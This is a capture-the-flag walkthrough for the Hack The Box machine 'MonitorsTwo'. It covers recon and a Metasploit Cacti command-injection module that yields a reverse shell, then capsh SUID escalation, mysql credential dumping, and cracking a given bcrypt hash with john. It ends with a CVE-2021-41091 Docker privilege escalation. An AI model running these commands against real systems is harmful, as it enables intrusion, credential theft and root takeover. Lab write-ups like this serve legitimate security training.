MonitorsTwo
Write up for the HTB machine 'MonitorsTwo'
1. Initial recon
1.1. nmap
nmap -sC -sV 10.10.11.211
1.2. nikto
nikto -host 10.10.11.211
1.3. website recon
while nikto
gave us some very interesting output, simply googling the software presented on the web application Cacti 1.2.22
we'll find that there's a metasploit exploit for it.
1.4. msfconsole
in msfconsole run search cacti
and then use 0
(exploit/linux/http/cacti_unauthenticated_cmd_injection)
for the options we want
then exploit
now we have a reverse shell as the user www-data
. if you don't get a shell the first time keep trying until you do.
1.5. root?
we can find SUID biaries using the following command find / -type f -perm -04000 -ls 2>/dev/null
from the output we can see that the SUID bit is set for the binary /sbin/capsh
, using GTFOBins we are able to escalate our privileges to root using the command /sbin/capsh --gid=0 --uid=0 --
but when we look in /root
there's nothing there... hmm
2. user.txt
As root we are able to run the script in the root directory entrypoint.sh
from that script we can then reset the admin user password using mysql mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET password=md5('admin') where username='admin'"
now we are able to login to the web application as the user admin
from there we can look at the configuration and find the username marcus
2.1. mysql
taking more inspriation from entrypoint.sh
we can run the following mysql commands to leak some credentials
mysql --host=db --user=root --password=root cacti -e 'show tables'
this will reveal to us the different tables that are stored in the mysql database
mysql --host=db --user=root --password=root cacti -e 'select * from user_auth'
and this will reveal to us all the entries in the table user_auth
which contains some credentials
copy hash of the password of the user marcus
and use johntheripper to crack the hash $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
finally we will have some credentials for the user markus:funkymonkey
ssh into the machine with credentials but keep your metasploit shell open too as we will need that for the root flag.
user.txt
can be found in /home/marcus
3. root.txt
after some enumeration of the file system we find an email in /var/mail/marcus
which talks about CVE-2021-41091
looking up this CVE we can find a proof of concept on Cyberark
To recreate this proof of concept for this machine:
run
findmnt
in themarcus
terminalhere we will find the path for the docker container where we have root, located at
/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
so move into that directory
now in the
root
terminal create the following c file
then we need to compile it with gcc gcc payload.c -o payload
and then set the capabilities of this binary setcap cap_setgid,cap_setuid+eip lol
back in the
marcus
terminal simply run the binary with./payload
and we are root!
root.txt
can be found in /root
Last updated